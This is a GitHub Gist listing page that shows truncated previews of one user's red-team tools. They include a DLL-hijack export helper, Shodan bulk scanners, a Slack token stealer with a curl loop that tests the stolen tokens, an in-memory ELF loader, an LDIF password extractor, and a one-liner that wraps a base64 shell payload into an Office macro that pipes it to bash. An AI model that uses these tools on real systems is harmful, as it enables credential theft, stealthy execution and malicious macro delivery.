Skip to content

Instantly share code, notes, and snippets.

@thesubtlety
thesubtlety / Get-Exports.ps1
Created Feb 12, 2020
DLL Hijack with exports
View Get-Exports.ps1
function Get-Exports {
<#
.SYNOPSIS
Get-Exports, fetches DLL exports and optionally provides
C++ wrapper output (idential to ExportsToC++ but without
needing VS and a compiled binary). To do this it reads DLL
bytes into memory and then parses them (no LoadLibraryEx).
Because of this you can parse x32/x64 DLL's regardless of
the bitness of PowerShell.
@thesubtlety
thesubtlety / natlas-docker-howto.md
Last active Aug 13, 2020
tl;dr natlas/docker install
View natlas-docker-howto.md
@thesubtlety
thesubtlety / bulkip-shodan-scanner.py
Created Dec 11, 2019
Submit IPs/CIDRs to Shodan for scanning and download results
View bulkip-shodan-scanner.py
#!/usr/bin/env python3
import os
import sys
import time
import shodan
import netaddr
import ipaddress
'''
@thesubtlety
thesubtlety / bulkip-shodan-download.py
Created Dec 10, 2019
Download host data from Shodan given a list of IPs or CIDRs
View bulkip-shodan-download.py
#!/usr/bin/env python3
import os
import sys
import json
import time
import random
import string
import shodan
import ipaddress
@thesubtlety
thesubtlety / local-slack-jack.py
Created Oct 30, 2019
Get Slack tokens from local ldb storage files
View local-slack-jack.py
#!/usr/bin/env python
'''
Just a python re-write of a tool by akerl
https://blog.akerl.org/2018/03/15/stealing-slack-creds-from-chrome/
https://github.com/akerl/limp
# user profiles
for tok in $(python3 slack-jack.py); do echo "Trying $tok"; curl -s https://slack.com/api/users.profile.get\?token\=$tok -H'Content-Type: application/x-www-form-urlencoded' | jq ; done
@thesubtlety
thesubtlety / ip_tools.py
Last active Oct 15, 2019
Random utilities to work with IP hosts, ranges, CIDR ranges
View ip_tools.py
import netaddr, ipaddress
def file_to_array(fname):
with open(fname) as f:
farr = [l.strip() for l in f if l.strip()]
return farr
def cidrs_to_hosts(input_arr):
output_arr = []
for e in input_arr:
@thesubtlety
thesubtlety / invokeInMemLinux.go
Created Oct 4, 2019 — forked from capnspacehook/invokeInMemLinux.go
Executes a binary or file in memory on a Linux system. Uses the memfd_create(2) syscall. Credits and idea from: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
View invokeInMemLinux.go
package main
import (
"io/ioutil"
"os"
"os/exec"
"strconv"
"syscall"
@thesubtlety
thesubtlety / parse_ldif_file.py
Created Apr 10, 2019
Parse an ldif file extracting the userPassword field
View parse_ldif_file.py
#!/usr/bin/env python
# pip install python-ldap
import sys, ldif
def main():
if len(sys.argv) != 3:
print("Usage: %s <ldif_dump.ldif> <outfile>") % sys.argv[0]
sys.exit(-1)
ldif_file = sys.argv[1]
@thesubtlety
thesubtlety / Fortune-1000-Company-Twitter-Accounts.csv
Created Sep 18, 2018 — forked from mbejda/Fortune-1000-Company-Twitter-Accounts.csv
Fortune 1000 companies Twitter Accounts. Twitter,domain, keywords, and description
View Fortune-1000-Company-Twitter-Accounts.csv
We can make this file beautiful and searchable if this error is corrected: Unclosed quoted field in line 5.
domain,name,keywords,description,twitter
walmartstores.com,Wal-Mart Stores,"SEC filing,Walmart photos,walmart stock,sustainability index,Wal-Mart,walmart annual reports,Walmart responsibility,executive speeches,walmart suppliers,global responsibility,walmart global sustainability report,walmart investors,Walmart interactive map,walmart history,privacy policy,financial reports,walmart news,Wal Mart,walmart sustainability,Walmart locations,Walmart videos,walmart story,Walmart,Walmart stores,walmart board of directors,community giving,walmart careers,Walmart jobs,sam walton","Find Walmart executive speeches, financial reports, press releases, downloadable photos and videos, and see an interactive map of our locations around the world.",walmart
gm.com,General Motors,,"General Motors is home to Buick, Cadillac, GMC and Chevrolet. Find the latest news about GM automotive innovations, investor relations and more. ",GM
ge.com,General Electric,,,generalelectric
chevron.com,ChevronTexaco,"cvx, chevrontexaco, cheveron,
@thesubtlety
thesubtlety / macscriptify.sh
Created Aug 16, 2018
MacScriptify bash oneliner
View macscriptify.sh
# save oneliner as macscript.txt
$f=macscript.txt; echo "Dim s As String\n"; for each in $(base64 -w0 <<< $(cat f) | fold -w 90); do echo "s = s + \"$each\""; done | sed '0,/\ s\ \+/{s/\ \+//}'; echo 'MacScript "do shell script "" echo " & s & " | base64 -D | bash "" "'; echo 'End Sub'